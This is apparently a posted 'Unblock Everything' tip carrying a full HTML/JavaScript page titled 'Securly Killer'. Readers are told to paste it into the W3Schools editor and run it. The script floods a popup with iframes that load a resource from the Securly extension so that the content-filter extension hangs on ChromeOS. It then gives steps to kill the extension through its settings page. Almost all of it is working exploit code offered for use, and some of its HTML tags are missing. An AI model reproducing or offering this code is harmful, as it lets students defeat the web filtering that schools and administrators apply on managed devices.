Unblock Everything

Use this https://www.w3schools.com/html/tryit.asp?filename=tryhtml_default

then paste press run then enjoy :D

<!DOCTYPE html>

<head>

<title>Securly Killer</title>

<style>

body {

font-family: 'Varela Round', sans-serif;

margin: 0;

padding: 0;

}

header {

background-color: #333;

color: #fff;

padding: 10px;

text-align: center;

display: flex;

align-items: center;

justify-content: center;

}

.logo {

width: 50px;

height: 50px;

margin-right: 10px;

}

.container {

max-width: 800px;

margin: 130px auto 0 auto;

padding: 20px;

text-align: center;

display: flex;

flex-direction: column;

align-items: center;

}

select {

margin-bottom: 10px;

}

button {

font-family: 'Varela Round', sans-serif;

background-color: #007bff;

color: #fff;

border: none;

padding: 10px 20px;

font-size: 16px;

cursor: pointer;

border-radius: 5px;

margin-top: 10px;

}

button:hover {

background-color: #0056b3;

}

.overlay {

position: fixed;

top: 0;

left: 0;

width: 100%;

height: 100%;

background-color: rgba(0, 0, 0, 0.5);

display: none;

justify-content: center;

align-items: center;

z-index: 9999;

color: #fff;

font-size: 24px;

}

footer {

background-color: #333;

color: #fff;

text-align: center;

padding: 10px;

position: fixed;

bottom: 0;

width: 100%;

}

.kill-extension-text {

display: none;

margin-top: 20px;

margin-left: 40px;

margin-right: 40px;

text-align: center;

}

</style>

</head>

<body>

<h1>Securly Disable</h1>

</header>

<p>This is an exploit that allows you to kill securly. This exploit should work in every new version of ChromeOS.</p>

<label for="iframeSelect">Select extension:</label>

<option value="chrome-extension://iheobagjkfklnlikgihanlhcddjoihkg/fonts/Metropolis.css">Securly</option>

</select>

<button onclick="warning();">Hang Extension!</button>

</div>

<div class="overlay" id="overlay">Hanging...</div>

</div>

var iframeCreationInterval;

function createIframes(container, iframeSrc) {

for (var i = 0; i < 50; i++) {

var iframe = document.createElement('iframe');

iframe.src = iframeSrc;

iframe.style.width = '10px';

iframe.style.height = '10px';

iframe.setAttribute('frameborder', '0');

container.appendChild(iframe);

}

setTimeout(function() {

while (container.firstChild) {

container.removeChild(container.firstChild);

}

createIframes(container, iframeSrc);

}, 500);

}

function hangerPopup(selectedOption, selectedSrc) {

var popupName = "Hanging " + selectedOption;

var popup = window.open("", popupName, "width=10000,height=10000");

popup.document.title = popupName;

var popupDocument = popup.document;

var popupBody = popupDocument.body;

var iframeContainer = popupDocument.createElement('div');

iframeContainer.id = 'iframeContainer';

popupBody.appendChild(iframeContainer);

var centeredText = popupDocument.createElement('div');

centeredText.textContent = 'Click to hang ' + selectedOption;

centeredText.style.position = 'absolute';

centeredText.style.top = '50%';

centeredText.style.left = '50%';

centeredText.style.transform = 'translate(-50%, -50%)';

centeredText.style.color = 'white';

popupDocument.body.style.cursor = 'pointer';

popupDocument.body.style.backgroundColor = 'black';

popupBody.appendChild(centeredText);

var clicked = false;

var clickHandler = function() {

if (!clicked) {

clicked = true;

centeredText.textContent = 'Hanging ' + selectedOption + '...';

var popupName = "Open to Restore " + selectedOption;

popup.document.title = popupName;

var blankTab = popup.open("about:blank", "_blank");

var blankTabName = "Hanging " + selectedOption;

blankTab.document.title = blankTabName;

var blankTabDocument = blankTab.document;

var blankTabBody = blankTabDocument.body;

var centeredText2 = blankTabDocument.createElement('div');

centeredText2.textContent = 'Hanging ' + selectedOption + '...';

centeredText2.style.position = 'absolute';

centeredText2.style.top = '50%';

centeredText2.style.left = '50%';

centeredText2.style.transform = 'translate(-50%, -50%)';

centeredText2.style.color = 'white';

blankTabBody.appendChild(centeredText2);

blankTabDocument.body.style.backgroundColor = 'black';

blankTabDocument.body.appendChild(centeredText2);

createIframes(iframeContainer, selectedSrc);

setTimeout(function() {

if (blankTab && !blankTab.closed) {

blankTab.close();

alert("securly was hanged successfully! Now that it has been hanged, instructions for how to kill it and restore it are below.");

window.document.getElementById("overlay").style.display = "none";

var extensionId = selectedSrc.substring(selectedSrc.indexOf("//") + 2, selectedSrc.indexOf("/", selectedSrc.indexOf("//") + 2));

window.document.getElementById("killExtensionText").innerHTML = "To kill the extension " + selectedOption + ", open a new tab and go to <strong>chrome://extensions/?id=" + extensionId + "</strong>. Then flip the allow access to file URLs switch. Now you can close that tab as well as this one. If you want to restore (unhang) the extension, open the window called Open to Restore and then that window should close itself restoring the extension in the process.";

window.document.getElementById("killExtensionText").style.display = "block";

popupDocument.addEventListener('mouseover', function() {

popup.close();

});

}

}, 5000);

popupDocument.removeEventListener('click', clickHandler);

}

};

popupDocument.addEventListener('click', clickHandler);

}

function warning() {

var overlay = window.document.getElementById("overlay");

overlay.style.display = "flex";

var iframeSelect = window.document.getElementById("iframeSelect");

var selectedOption = iframeSelect.options[iframeSelect.selectedIndex].text;

var selectedSrc = iframeSelect.value;

hangerPopup(selectedOption, selectedSrc);

}

</script>

</body>

</html>